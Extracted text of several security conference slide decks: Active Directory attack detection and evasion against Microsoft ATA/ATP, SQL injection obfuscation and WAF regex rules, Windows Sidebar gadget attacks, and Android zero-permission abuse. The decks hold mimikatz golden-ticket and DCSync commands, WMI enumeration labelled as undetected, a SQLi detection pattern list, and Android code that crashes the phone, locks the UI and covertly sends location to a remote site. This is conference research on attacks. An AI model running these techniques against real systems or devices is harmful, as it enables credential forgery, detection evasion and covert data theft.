4733, 4728, 4729, 4756, 4757
• Can integrate with SIEM (syslog)
& VPN (Radius)
26
IBM Security
Learning Period
1 month of learning:
• Abnormal behavior
• Abnormal sensitive group modification
• Recon using directory services
1 week of learning:
• Encryption downgrades (skeleton key, golden ticket, over pass the hash)
• Brute force
27
IBM Security
Detected: Internal Recon Activities
Detected: AD recon via typical queries like “net user /domain”
Detected: DNS queries and zone transfers
Detected: User session enumeration via PowerView, NetSess, etc.
28
IBM Security
Not Detected: Enumeration via WMI Local Name Space
Domain User Accounts:
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='dev' AND Disabled='False'" |
Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,
PasswordChangeable, Description, SID
Domain Groups:
Get-WmiObject -Class Win32_GroupInDomain | Select PartComponent | Select-String -Pattern
"Microsoft Advanced Threat Analytics“
Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name like '%SQL%'"
Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name like '%Admin%’”
Domain Group User Memberships:
Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Enterprise
Admins'" | Get-CimAssociatedInstance -Association Win32_GroupUser
Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='DNSAdmins'" |
Get-CimAssociatedInstance -Association Win32_GroupUser
Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'dev' AND Name='Microsoft
Advanced Threat Analytics Administrator'" | Get-CimAssociatedInstance -Association
Win32_GroupUser
29
IBM Security
Examples
30
IBM Security
Forest Trusts
Demo
31
IBM Security
Lateral Movement via SQL
Demo
32
IBM Security
Detected: DCSync
mimikatz # lsadump::dcsync /domain prod.local /user:krbtgt
33
IBM Security
Copying NTDS.dit File Remotely using the WMI
Win32_ShadowCopy Class
• Using a technique by @0xbadjuju, we can use the WMI Win32_ShadowCopy Class to dump the
ntds.dit via volume shadow copies without having to call vssadmin.exe
• Copying the NTDS.dit and SYSTEM files from a workstation isn’t detected by ATP
• But is flagged only as a LOW severity event in ATA due to execution:
34
IBM Security
Detected: Golden Tickets Detection (Using KRBTGT NTLM Hash)
kerberos::golden /user:EdwardAbbey /domain:prod.local /
sid:S-1-5-21-2184559304-2325842030-2845129662-500 /krbtgt:
43f53b1c3516a08b2c33ded83bff0c9f /groups:513,512,520,518,519 /ptt
35
IBM Security
Not Detected: Using AES Key
kerberos::golden /user:JohnVanwagoner /domain:prod.local /
sid:S-1-5-21-2184559304-2325842030-2845129662 /
aes256:05df6ed1616d67dc672d51814959b9b6de0d9f5f89c53d186eff3cea13bae2e9 /
groups:512,513 /startoffset:-1 /endin:500 /renewmax:3000 /ptt
DEMO
36
IBM Security
Big Thanks / Sources
• @angus_tx, @nosteve, and the rest of the IBM X-Force Red crew
• @0xbadjuju, @_nullbind, NetSPI for PowerUp SQL and WMI techniques
• @mattifestation and the rest of the ATP/ATA crew at MS
• @cobbr_io, @danielhbohannon, @nikhil_mitt, @kevin_Robertson, @gentilkiwi, @armitagehacker,
@harmj0y, @JershMagersh, @vysecurity, and many others for tools, techniques, and giving back to
the community | pdf |
New Techniques in
SQLi Obfuscation
SQL never before used in SQL Injection
Nick Galbreath
@ngalbreath
[email protected]
DEFCON 20 at the Rio in sunny Las Vegas
2012-07-27 Friday 4:20 pm!
http://slidesha.re/
MfOiNR
Follow along or get the latest version:
That's an OH, not a zer0
SQL Specification
• http://www.contrib.andrew.cmu.edu/
~shadow/sql/sql1992.txt
• 625 pages of plain text
• http://savage.net.au/SQL/sql-2003-2.bnf
• 119 pages of pure BNF
• No one implements exactly
• Everyone has extensions, exceptions, bugs
Regexp Based WAF
(?:\)\s*when\s*\d+\s*then)|(?:"\s*(?:#|--|{))|(?:\/\*!\s?\d+)|(?:ch(?:a)?r\s*\(\s*\d)|(?:(?:(n?and|x?or|not)\s+|\|\||\&\&)\s*\w+\()
(?:[\s()]case\s*\()|(?:\)\s*like\s*\()|(?:having\s*[^\s]+\s*[^\w\s])|(?:if\s?\([\d\w]\s*[=<>~])
(?:"\s*or\s*"?\d)|(?:\\x(?:23|27|3d))|(?:^.?"$)|(?:(?:^["\\]*(?:[\d"]+|[^"]+"))+\s*(?:n?and|x?or|not|\|\||\&\&)\s*[\w"[+&!@(),.-])|(?:[^\w\s]\w+\s*[|-]
\s*"\s*\w)|(?:@\w+\s+(and|or)\s*["\d]+)|(?:@[\w-]+\s(and|or)\s*[^\w\s])|(?:[^\w\s:]\s*\d\W+[^\w\s]\s*".)|(?:\Winformation_schema|table_name\W)
(?:"\s*\*.+(?:or|id)\W*"\d)|(?:\^")|(?:^[\w\s"-]+(?<=and\s)(?<=or\s)(?<=xor\s)(?<=nand\s)(?<=not\s)(?<=\|\|)(?<=\&\&)\w+\()|(?:"[\s\d]*[^\w\s]+\W*\d
\W*.*["\d])|(?:"\s*[^\w\s?]+\s*[^\w\s]+\s*")|(?:"\s*[^\w\s]+\s*[\W\d].*(?:#|--))|(?:".*\*\s*\d)|(?:"\s*or\s[^\d]+[\w-]+.*\d)|(?:[()*<>%+-][\w-]+[^\w\s]
+"[^,])
(?:\d"\s+"\s+\d)|(?:^admin\s*"|(\/\*)+"+\s?(?:--|#|\/\*|{)?)|(?:"\s*or[\w\s-]+\s*[+<>=(),-]\s*[\d"])|(?:"\s*[^\w\s]?=\s*")|(?:"\W*[+=]+\W*")|(?:"\s*[!=|]
[\d\s!=+-]+.*["(].*$)|(?:"\s*[!=|][\d\s!=]+.*\d+$)|(?:"\s*like\W+[\w"(])|(?:\sis\s*0\W)|(?:where\s[\s\w\.,-]+\s=)|(?:"[<>~]+")
(?:union\s*(?:all|distinct|[(!@]*)?\s*[([]*\s*select)|(?:\w+\s+like\s+\")|(?:like\s*"\%)|(?:"\s*like\W*["\d])|(?:"\s*(?:n?and|x?or|not |\|\||\&\&)\s+[\s
\w]+=\s*\w+\s*having)|(?:"\s*\*\s*\w+\W+")|(?:"\s*[^?\w\s=.,;)(]+\s*[(@"]*\s*\w+\W+\w)|(?:select\s*[\[\]()\s\w\.,"-]+from)|(?:find_in_set\s*\()
(?:in\s*\(+\s*select)|(?:(?:n?and|x?or|not |\|\||\&\&)\s+[\s\w+]+(?:regexp\s*\(|sounds\s+like\s*"|[=\d]+x))|("\s*\d\s*(?:--|#))|(?:"[%&<>^=]+\d\s*(=|
or))|(?:"\W+[\w+-]+\s*=\s*\d\W+")|(?:"\s*is\s*\d.+"?\w)|(?:"\|?[\w-]{3,}[^\w\s.,]+")|(?:"\s*is\s*[\d.]+\s*\W.*")
(?:[\d\W]\s+as\s*["\w]+\s*from)|(?:^[\W\d]+\s*(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc))|(?:(?:select|create|rename|
truncate|load|alter|delete|update|insert|desc)\s+(?:(?:group_)concat|char|load_file)\s?\(?)|(?:end\s*\);)|("\s+regexp\W)|(?:[\s(]load_file\s*\()
(?:@.+=\s*\(\s*select)|(?:\d+\s*or\s*\d+\s*[\-+])|(?:\/\w+;?\s+(?:having|and|or|select)\W)|(?:\d\s+group\s+by.+\()|(?:(?:;|#|--)\s*(?:drop|alter))|(?:
(?:;|#|--)\s*(?:update|insert)\s*\w{2,})|(?:[^\w]SET\s*@\w+)|(?:(?:n?and|x?or|not |\|\||\&\&)[\s(]+\w+[\s)]*[!=+]+[\s\d]*["=()])
(?:"\s+and\s*=\W)|(?:\(\s*select\s*\w+\s*\()|(?:\*\/from)|(?:\+\s*\d+\s*\+\s*@)|(?:\w"\s*(?:[-+=|@]+\s*)+[\d(])|(?:coalesce\s*\(|@@\w+\s*[^\w\s])|(?:\W!
+"\w)|(?:";\s*(?:if|while|begin))|(?:"[\s\d]+=\s*\d)|(?:order\s+by\s+if\w*\s*\()|(?:[\s(]+case\d*\W.+[tw]hen[\s(])
(?:(select|;)\s+(?:benchmark|if|sleep)\s*?\(\s*\(?\s*\w+)
(?:create\s+function\s+\w+\s+returns)|(?:;\s*(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*[\[(]?\w{2,})
(?:alter\s*\w+.*character\s+set\s+\w+)|(";\s*waitfor\s+time\s+")|(?:";.*:\s*goto)
(?:procedure\s+analyse\s*\()|(?:;\s*(declare|open)\s+[\w-]+)|(?:create\s+(procedure|function)\s*\w+\s*\(\s*\)\s*-)|(?:declare[^\w]+[@#]\s*\w+)|(exec\s*\
(\s*@)
(?:select\s*pg_sleep)|(?:waitfor\s*delay\s?"+\s?\d)|(?:;\s*shutdown\s*(?:;|--|#|\/\*|{))
(?:\sexec\s+xp_cmdshell)|(?:"\s*!\s*["\w])|(?:from\W+information_schema\W)|(?:(?:(?:current_)?user|database|schema|connection_id)\s*\([^\)]*)|(?:";?
\s*(?:select|union|having)\s*[^\s])|(?:\wiif\s*\()|(?:exec\s+master\.)|(?:union select @)|(?:union[\w(\s]*select)|(?:select.*\w?user\()|(?:into[\s+]+
(?:dump|out)file\s*")
(?:merge.*using\s*\()|(execute\s*immediate\s*")|(?:\W+\d*\s*having\s*[^\s\-])|(?:match\s*[\w(),+-]+\s*against\s*\()
(?:,.*[)\da-f"]"(?:".*"|\Z|[^"]+))|(?:\Wselect.+\W*from)|((?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*\(\s*space\s*\()
(?:\[\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|or)\])
(?:(sleep\((\s*)(\d*)(\s*)\)|benchmark\((.*)\,(.*)\)))
(?:(union(.*)select(.*)from))
(?:^(-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-2147483649|0000023456|2.2250738585072007e-308|1e309)$)
Some of the regular expressions used by PHPIDS 0.7
Analyzing SQL and SQLi
• Libinjection is a Quasi-SQL tokenizer
• https://github.com/client9/libinjection
• Tries to handle all vendor special cases
• Run all SQLi through it, see what code
paths in the parser aren't being triggered
• (note, libinjection is a work in progress, biased
toward MySQL, PgSQL for the moment)
Sources
Tens of thousands attacks of varying quality
• Output from SQLi vulnerability scanners
against dummy sites
• Published attacks
• HOW-TO guides
• Stuff we see at Etsy
Lots of Dark Corners
• We'll review many of the SQL oddities that
aren't actively being used or are interesting
enough to re-review.
• Great for new fuzzers, vulnerability
scanners, WAF builders and validators.
NULL
MySQL NULL Alias
MySQL NULL can written as \N
case sensitive. \n is not a null.
This means any WAF that does a
"to_lower" on the user input and
looks for "null" will miss this case.
NULL PGSQL
• ISNULL, NOTNULL (same as IS NULL),
this is a function in MSSQL
• "IS [NOT] UNKNOWN"
• "IS [NOT] DISTINCT"
Numbers
Floating Point
• digits
• digits[.]
• digits[.]digits
• digits[eE]digits
• digits[eE][+-]digits
• digits[.][eE]digits
• digits[.]digits[eE]digits
• digits[.]digits[eE][+-]digits
• [.]digits
• [.]digits[eE]digits
• [.]digits[eE][+-]digits
Optional starts with [+-]
Optional ending with [dDfF] (Oracle)
Exceptions
• 1.AND 2 (no space between "1." "AND")
some parsers accept, some don't
• 1e1 vs. 1e1.0 ?
Oracle Special Literals
• binary_double_infinity
• binary_double_nan
• binary_float_infinity
• binary_float_nan
might be case sensitive
numbers without numbers!
Hexadecimal Literals
• 0xDEADbeef MySQL, MSSQL
0x is case sensitive
• 0x (empty string) MSSQL only
• x'DEADbeef' PgSQL
Binary Literals
• b'10101010' MySQL, PgSQL
• 0b010101 MySQL
• case sensitive
Money Literals
• MSSQL has a money type.
• -$45.12
• $123.0
• +$1,000,000.00 Commas ignored
• Haven't really experiments with this yet.
• Does it auto-cast to a float or int type?
Comments
MySQL # Comment
• '#' signals an till-end-of-line Comment
• Well used in SQLi attacks
• However... '#' is an operator in PgSQL.
Beware that s/#.*\n// will delete code that
needs inspecting.
• Lots of other MySQL comment oddities:
http://dev.mysql.com/doc/refman/5.6/en/
comments.html
PGSQL Comments
• Besides the usual -- comment
• PgSQL has recursive C-Style Comments
• /* foo /* bar */ */
• Careful! What happens when you 'remove
comments' in /* /* */ UNION ALL /* */ */
Strings
C-Style String Merging
• C-Style consecutive strings are merged into
one.
• SELECT 'foo' 'bar';
• SELECT 'foo' "bar"; (mysql)
• SQL Spec and PgSQL requires a newline
between literals:
SELECT 'foo'
'bar';
Standard Unicode
• N'....' or n'...'
• MSSQL Case-sensitive 'N'
• Not sure on escaping rules.
MySQL Ad-Hoc
Charset
• _charset'....'
• _latin1'.....'
• _utf8'....'
PGSQL Dollar Quoting
From http://www.postgresql.org/docs/9.1/static/sql-syntax-lexical.html#SQL-SYNTAX-COMMENTS
A dollar-quoted string constant consists of a dollar sign
($), an optional "tag" of zero or more characters, another
dollar sign, an arbitrary sequence of characters that
makes up the string content, a dollar sign, the same tag
that began this dollar quote, and a dollar sign. For
example, here are two different ways to specify the
string "Dianne's horse" using dollar quoting:
$$Dianne's horse$$
$SomeTag$Dianne's horse$SomeTag$
What more fun? They can be nested!
PGSQL Unicode
From http://www.postgresql.org/docs/9.1/static/sql-syntax-
lexical.html emphasis mine:
... This variant starts with U& (upper or lower case U followed by
ampersand) immediately before the opening double quote, without any
spaces in between, for example U&"foo". (Note that this creates an
ambiguity with the operator &. Use spaces around the operator to avoid this
problem.) Inside the quotes, Unicode characters can be specified in escaped
form by writing a backslash followed by the four-digit hexadecimal code
point number or alternatively a backslash followed by a plus sign followed by
a six-digit hexadecimal code point number. For example, the identifier
"data" could be written as
U&"d\0061t\+000061"
The following less trivial example writes the Russian word "slon" (elephant)
in Cyrillic letters:
U&"\0441\043B\043E\043D"
If a different escape character than backslash is desired, it can be
specified using the UESCAPE clause after the string, for example:
U&"d!0061t!+000061" UESCAPE '!'
Oracle Q String
http://docs.oracle.com/cd/B28359_01/appdev.111/b28370/
fundamentals.htm#autoId6
q'!...!' notation allows use of single quotes inside literal
string_var := q'!I'm a string!';
You can use delimiters [, {, <, and (, pair them with ], }, >, and ),
pass a string literal representing a SQL statement to a
subprogram, without doubling the quotation marks around
'INVALID' as follows:
func_call(q'[SELECT index_name FROM user_indexes
WHERE status ='INVALID']');
Operators
and
Expressions
Operators!
• ! and !! Factorial (pgsql)
• |/ square root (pgsql)
• ||/ cube root (pgsql)
• # bitwise XOR (pgsql, conflicts with
MySQL)
• ** exponents (oracle)
More Operators!
• !=, <=> (mysql), <> (mssql), ^= (oracle)
• !>, !< not less than, (mssql)
• /\ Bitwise XOR (oracle)
Expressions!
• Using the common query extension of
"OR 1=1"
• Besides using literals, one can use functions:
• COS(0) = SIN(PI()/2)
• COS(@VERSION) = -SIN(@VERSION +
PI()/2)
EXCEPT (mssql)
MINUS (Oracle)
• Like UNION, UNION ALL
• But returns all results from first query
minus/except the ones from the second
query
• There is also INTERSECT as well.
• I think someone clever could use these,
typically not in WAF rules.
Side Note: "IN" lists
• e.g. ....WHERE id IN (1,2,3,4) ....
• These have to be manually created.
• There is no API or parameter binding for
this construct in any platform,framework or
language.
• There is no consistent, safe way to make
this (other than convention, validation)
Why don't we see
more attacks using
these techniques?
• Dumb attacks work (for now)
• I don't get see the more advanced attacks
What's Next?
• Add more parsing rules to libinjection
• More testing frameworks
• Investigate BIGINT types
• pgsql has a regexp engine, and various
other datatypes
• Worry about various character encodings
Primary References
• http://dev.mysql.com/doc/refman/5.6/en/
func-op-summary-ref.html
• http://www.postgresql.org/docs/9.1/static/
functions.html
• http://msdn.microsoft.com/en-us/library/
bb510741
• http://docs.oracle.com/cd/B28359_01/
Thanks!
Nick Galbreath
@ngalbreath
[email protected]
https://github.com/client9/libinjection | pdf |
We have you by the gadgets
Hitting your OS below the belt
Legal Notice
Our opinion is our own. It DOES NOT IN
ANY WAY represent the view of our
employers.
whoami - Toby
whoami - Mickey
Agenda
• Who we are
• What are Gadgets
o A little bit of history
o Why this matters
o How to develop gadgets
o Gadget security model
• What's wrong with them
• Attack Surface
• Problems found
• Demos
• What do you do about it?
Thank you:
Itzik Kotler, FX, Ian Amit, Jayson Street,
SophSec, Wim Remes, Aviv Raff, Gal Diskin
#include <full_list.h>
What are Gadgets
• Little applications that run on your Windows
desktop
• For instance:
A little bit of history
• Windows XP - Concept first introduced as
"Active Desktop"
o Allowed you to put updating content on your desktop.
• Vista - Sidebar introduced, first mention of
"gadgets"
o Gadgets ran in the sidebar "container" couldn't be placed
randomly on the desktop
• Windows 7 - significant changes
o Improvements in management:
o Gadgets now can be anywhere on the desktop
o All gadgets run in a single process
o Addition of the enterprise security features
o Also - New stuff to help in development
Why this still matters
• Gadget use is in decline
• But! This style of app development is taking
off
o Container-based apps for smartphones that allow you
to do all your dev in HTML, XML, Javascript, etc…
Windows Vista Sidebar
Windows 7 Gadgets
Creating Gadgets
• Just a zip file
Creating Gadgets
• Usually just a
web app
o html
o css
o javascript
o gadget specific
manifest file
• Can also be WPF
or Silverlight
Gadget Security Model
MSFT provides a detailed explanation
o
(see references)
• Code signing is possible but not required
• Prompt for install similar to standard
applications:
Gadget Security Model
• Most similar to HTA - HTML Applications
• Basically run in "Local Machine Zone" with
some differences:
o Can instantiate any installed ActiveX object
o UAC
Runs as standard user even if the user is part of
the admin group
Can't raise UAC prompts BUT! apps launched by a
gadget can
• Parental Controls apply
Gadget Security Model
• Some enterprise controls available
o Turn off Windows Sidebar.
o This policy allows administrators to completely
disable the Windows Sidebar.
o Disable unpacking and installation of gadgets that are
not digitally signed.
Only affects gadgets that are downloaded and
installed by double-clicking on the gadget
package. All previously installed gadgets, as well
as those installed manually, will still function.
o Turn off user-installed gadgets.
o Override the "Get more gadgets online" link.
Attack Surface
• Attacking with gadgets
• Attacking gadgets
Attacking with gadgets
• Delivery:
o Install this gadget? Sure!
• Sidebar gadgets aren't perceived as being
dangerous software or even software at all
Attacking with gadgets
• So I installed your gadget, so what?
• I can't do much, just this:
o Execute code
Game over
• Also:
o Open URLs
o Create files with arbitrary content
o Read files
o Make your computer speak
Attacking with gadgets
• Demo time
Attacking Gadgets
• Gadgets are code. Therefore gadgets are
vulnerable
• Step 1 - Search for gadgets
• Step 2 - Analyze
• Step 3 - ...
• Step 4 - Profit (and share the findings)
Attacking Gadgets
• LOTS of malware claiming to be gadgets
• Minimal use of SSL
• Lots of ad server connections (no ads
displayed)
o And domain parking sites
• A couple primary producers, shared code
between gadgets
o If you find something in one, it's probably in the others
Attacking Gadgets
• Poor security practices, easy targets
o Multiple ways to inject code
o Default Permissions is "full"
• Traffic sniffing
• Easy to spot
o (x64)
Attacking Gadgets – Traffic Sniffing
• SSL is haaaaard
• All downloaded gadgets pulled most of their
content w/o SSL
• Including updated gadget code in some
cases
Attacking Gadgets - MitM
• There are not many gadgets out there,
capturing their requests is simple. (AirPwn)
• Using a custom simple proxy to automate
injection.
• Demo
Attacking Gadgets – Code Injection
• Any web scripting language
o Or powershell
• Demo
What to do about it?
• Code is code
o Remember not to take candy from strangers
• Write applications properly
• Microsoft’s solution
•Security Advisory 2719662
• “Microsoft is aware of vulnerabilities in insecure Gadgets affecting
the Windows Sidebar on supported versions of Windows Vista and
Windows 7”
•Fix It Solution
• Engineering solution that removes the attack vector.
•Moving away from the Windows Sidebar and
towards the Windows Store.
• Deprecated the Windows Gadget Gallery
• Updated developer documentation
Microsoft Solution
Prior Work
Standing on the shoulders of giants
• CVEs
o CVE 2007-3032
o CVE 2007-3033
o CVE 2007-3891
• Presentations
o The Inherent Insecurity of Widgets and Gadgets -
Aviv Raff, Ian Amit
o Jinx - Malware 2.0 - Itzik Kotler, Jonathan Rom
References
• Gadget Security Model
o http://msdn.microsoft.com/en-us/library/ff486358.aspx
• Writing Secure Gadgets
o http://msdn.microsoft.com/en-
us/library/bb498012.aspx | pdf |
THESE AREN’T THE
PERMISSIONS YOU’RE
LOOKING FOR
Anthony Lineberry
David Luke Richardson
Tim Wyatt
DefCon 18
AGENDA
• Android Internals Overview
• Security/Permission Model
• Why Ask For Permission When You
Can Ask For Forgiveness?
• Log-Cat – Our Inside Mole
• The Ultimate Permission
(Yes, we’re talking about root)
• Mitigation
ANDROID INTERNALS
Diving Into the Belly of the Beast
ANDROID MANIFEST
• AndroidManifest.xml – Every application must have one
• Declares the package name, a unique identifier for every app
• Describes applications components (Activities, Services,
BroadcastReceivers, etc)
• Declares requested permissions “needed” to access protected
API’s (If only there were a way to get around that...)
• Declares permissions other applications are required to have
to interact with applications components
ACTIVITY
• A way for users to interact with
the application
• Composed of Views:
• Button
• TextView
• ImageView
• etc...
ACTIVITY
• Managed as an Activity stack
• New/foreground activity on top of stack. In running/active state
• Previous Activities below in paused state
• Removed from stack when Activity finishes
ACTIVITY
• An application can start another application’s Activity!
• Activity runs in its application’s process.
• Callee doesn’t necessarily have access to Activity’s data
• Permission attribute in manifest can restrict who can start the
permission
INTENT
• “An abstract description of an
operation to be performed”
• Simple IPC for applications
• Intents can be sent with data
INTENT
• Can be used to start an Activity with startActivity()
• Intents can be broadcast system wide with sendBroadcast()
• Communicate with a background Service
• Two main components:
• Action
• Data (URI: http:, content:, geo:, etc...)
Intent myIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.google.com"));
startActivity(myIntent);
BROADCAST RECEIVER
• Receives an Intent
• Can be created dynamically with registerBroadcast() or
declared in the manifest with the <receiver> tag
• Receives two types of broadcasts:
• Normal Broadcasts – Asynchronous; Cannot be aborted
• Ordered Broadcasts – Delivered serially; Can be aborted or
pass result to next receiver
BROADCAST RECEIVER
• Permissions can be enforced
• Sender can declare permission
for who can receive the Intent
• Receiver can declare permission
for who can send an Intent to it
SERVICE
• Component to do work in the background
• NOT a separate process
• NOT a thread
• Kind of like an Activity without a UI
• Can enforce access to service with a required permission
SECURITY/PERMISSION
MODEL
The Mythical Sandbox
THE SANDBOX
• Not a VM sandbox as many believe
• Unix multi-user (uid/gid) sandbox!
• Each app is a different uid
• Lightweight VM running for each process
• Breaking out of the VM gains you nothing
• Apps can request to share a uid (Both must be signed with
the same key)
PERMISSIONS
• Default application has no permissions granted
• Finer grained access to content/APIs
• android.permission.READ_SMS
• android.permission.CHANGE_WIFI_STATE
• etc..
• Declared in AndroidManifest.xml
WHY ASK FOR PERMISSION
WHEN YOU CAN ASK FOR
FORGIVENESS?
WHY PERMISSIONS MATTER
• Permissions gate what an
App can do
• Users are required to OK
permissions before
downloading an App
• Users can decipher to some
degree whether permissions
are appropriate
WHY PERMISSIONS MATTER
WHY PERMISSIONS MATTER
VS
WHAT DOES 0 PERMISSIONS
MEAN?
• No permission screen at all!
• Straight to download
• Why should a user worry
about an App Android
doesn’t warn about?
REBOOT
WITH 0 PERMISSIONS
• REBOOT permission is not normally grantable to apps.
• Requires SystemOrSignature
• But that won’t stop us!
<!-- Required to be able to reboot the device. -->
<permission android:name="android.permission.REBOOT"
android:label="@string/permlab_reboot"
android:description="@string/permdesc_reboot"
android:protectionLevel="signatureOrSystem" />
• There are many approaches
depending on Android OS
Version
• The easiest and most
reliable we’ve found so far
involves Toast notifications
REBOOT
WITH 0 PERMISSIONS
• Every time you try to display a Toast it creates a
weak JNI reference in system_server
while (true) {
Toast.makeText(getApplicationContext(), "Hello World", Toast.LENGTH_LONG).show();
}
REBOOT
WITH 0 PERMISSIONS
D/dalvikvm( 59): GREF has increased to 2001
W/dalvikvm( 59): Last 10 entries in JNI global reference table:
W/dalvikvm( 59): 1991: 0x44023668 cls=Ljava/lang/ref/WeakReference; (28 bytes)
...
W/dalvikvm( 59): 2000: 0x44019818 cls=Ljava/lang/ref/WeakReference; (36 bytes)
W/dalvikvm( 59): JNI global reference table summary (2001 entries):
W/dalvikvm( 59): 101 of Ljava/lang/Class; 164B (54 unique)
W/dalvikvm( 59): 2 of Ldalvik/system/VMRuntime; 12B (1 unique)
W/dalvikvm( 59): 1 of Ljava/lang/String; 28B
W/dalvikvm( 59): 1571 of Ljava/lang/ref/WeakReference; 28B (1571 unique)
...
W/dalvikvm( 59): Memory held directly by tracked refs is 70248 bytes
E/dalvikvm( 59): Excessive JNI global references (2001)
E/dalvikvm( 59): VM aborting
I/DEBUG ( 31): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 31): Build fingerprint: 'generic/google_sdk/generic/:2.2/FRF42/36942:eng/test-keys'
I/DEBUG ( 31): pid: 59, tid: 218 >>> system_server <<<
I/DEBUG ( 31): signal 11 (SIGSEGV), fault addr deadd00d
I/DEBUG ( 31): r0 00000374 r1 0000000c r2 0000000c r3 deadd00d
I/DEBUG ( 31): r4 00000026 r5 80887fc4 r6 fffe9181 r7 000007d1
I/DEBUG ( 31): r8 4889bb88 r9 42970f40 10 42970f28 fp 002535f8
I/DEBUG ( 31): ip 808881ec sp 4889bad8 lr afd154c5 pc 8083b162 cpsr 20000030
I/DEBUG ( 31): #00 pc 0003b162 /system/lib/libdvm.so
• At 2001* global references system_server SIGSEGVs
• Exact number depends on hardware and OS
version
REBOOT
WITH 0 PERMISSIONS
• Custom Toasts are also
implementable, which
can display any view
• Including invisible
views!
while (true) {
// Invisible toast
Toast t = new Toast(getApplicationContext());
t.setView(new View(getApplicationContext()));
t.show();
}
REBOOT
WITH 0 PERMISSIONS
RECEIVE_BOOT_COMPLETE
WITH 0 PERMISSIONS
• Permission to “automatically start at
boot”
• Too easy - The permission isn’t
checked!
<receiver android:name="AppLauncher">
<intent-filter android:priority="1000">
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<!-- Oops!
<uses-permission
android:name="android.permission.RECEIVE_BOOT_COMPLETE" />
-->
START ON INSTALL
WITH 0 PERMISSIONS
• Interesting trick to use in conjunction with another attack
• No permission exists to allow this functionality
• Google Analytics referrer tracking to the rescue!
<!-- Used for install referrer tracking -->
<receiver android:name="com.google.android.apps.analytics.AnalyticsReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.android.vending.INSTALL_REFERRER" />
</intent-filter>
</receiver>
START ON INSTALL
WITH 0 PERMISSIONS
• Just write your own Receiver
• But there are some caveats...
<!-- Used for to launch my app -->
<receiver android:name="com.nethack.LaunchOnInstallReceiver">
<intent-filter>
<action android:name="com.android.vending.INSTALL_REFERRER" />
</intent-filter>
</receiver>
START ON INSTALL
WITH 0 PERMISSIONS
• Requires referrer included in URL leading to App
• Admob
• Weblink
• OR Android 2.2
• Always includes referrer info
market://details?id=com.nethack&referrer=utm_source%3Dadmob
%26utm_medium%3Dbanner%26utm_term%3Darcade%252Bgame
%26utm_campaign%3DMalicious_Campaign
market://details?id=com.nethack&referrer=autostart
market://details?
id=com.nethack&referrer=utm_source=androidmarket&utm_medium=devic
e&
utm_campaign=filtered&utm_content=GAMES/free&rowindex=34
CIRCLE OF DEATH
UI HOSTILE TAKEOVER WITH 0 PERMISSIONS
• Launch activity that
consumes all KeyPresses
• Can’t swallow HOME or
long press of HOME
• Relaunch when Activity exits
• Activity can’t launch itself
when destroyed, however
public boolean onKeyDown(int keyCode, KeyEvent event) {
return true;
}
• So create a circle of death
• When Activity is destroyed, launch a Service.
Service relaunches destroyed Activity
// RestartService
public void onCreate() {
super.onCreate();
startActivity(new Intent(getApplicationContext(), MaliciousActivity.class)
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
}
// MaliciousActivity
protected void onDestroy() {
super.onDestroy();
startService(new Intent(getApplicationContext(), RestartService.class));
}
CIRCLE OF DEATH
WITH 0 PERMISSIONS
• To remove boot into safe
mode (No non-system
apps are able to run) and
uninstall the malicious
application.
• Bonus points: Maximize
volume and play an
obnoxious sound.
CIRCLE OF DEATH
WITH 0 PERMISSIONS
• Apps or games not requesting
INTERNET seem low risk.
• Your sandbox can’t access the
internet.
• Ask your neighbor!
• Pop open a browser.
NetHack
startActivity(new Intent(Intent.ACTION_VIEW,
Uri.parse("http://mysite.com/data?lat=" + lat + "&lon=" + lon)));
UPLOAD
WITH 0 PERMISSIONS
• Can we do this secretly?
• Obscuring browser (onPause())
stops page from loading.
32.175.xxx.xxx - - [03:30:36] "GET /data?lat=123.2&lon=32.2 HTTP/1.1" 404 203
UPLOAD
WITH 0 PERMISSIONS
• How about we only pop up browsers when the screen is off?
• Need to close browser when the screen turns on
• Bonus Points: Redirect to http://www.google.com
when you’re done (or read browser history from logs)
UPLOAD
WITH 0 PERMISSIONS
// Lets send if no one is looking!
PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
if (!pm.isScreenOn()) {
Log.e("NetHack", "Screen off");
startActivity(new Intent(Intent.ACTION_VIEW,
Uri.parse("http://mysite/data?lat=" + lat + "&lon=" + lon)).setFlags
(Intent.FLAG_ACTIVITY_NEW_TASK));
mBrowserDisplayed = true;
} else if (mBrowserDisplayed) {
Log.e("NetHack", "Screen on");
startActivity(new Intent(Intent.ACTION_MAIN).addCategory
(Intent.CATEGORY_HOME));
mBrowserDisplayed = false;
}
But what about two way communication?
UPLOAD
WITH 0 PERMISSIONS
INTERNET
WITH 0 PERMISSIONS
• Pop browser to page with downloadable content-type
(http://mysite.com/data.zip)
• Default Android browser automatically saves it to /sdcard/
downloads/data.zip
• But there are some downsides...
• No way to clear notifications
• To clean up the filesystem you need
to request
WRITE_EXTERNAL_STORAGE
• Automatically requested if you
target Android 1.5
INTERNET
WITH 0 PERMISSIONS
• How about a custom URI receiver?
• Google Maps uses
geo:latitude,longitude?zoom
to automatically launch their App
• We can do the same!
INTERNET
WITH 0 PERMISSIONS
• We can register ourselves for nethack://
• Redirect our page from before to
nethack:data?param=server_data
• This has to be an <activity>, not a <receiver>
(It is meant for foreground interactions)
<!-- AndroidManifest.xml -->
<activity android:name=".NetHackReceiver">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="nethack" android:host="data"/>
</intent-filter>
</activity>
INTERNET
WITH 0 PERMISSIONS
• Activity is never seen if you call finish() in onCreate()
• Data is available in the Intent
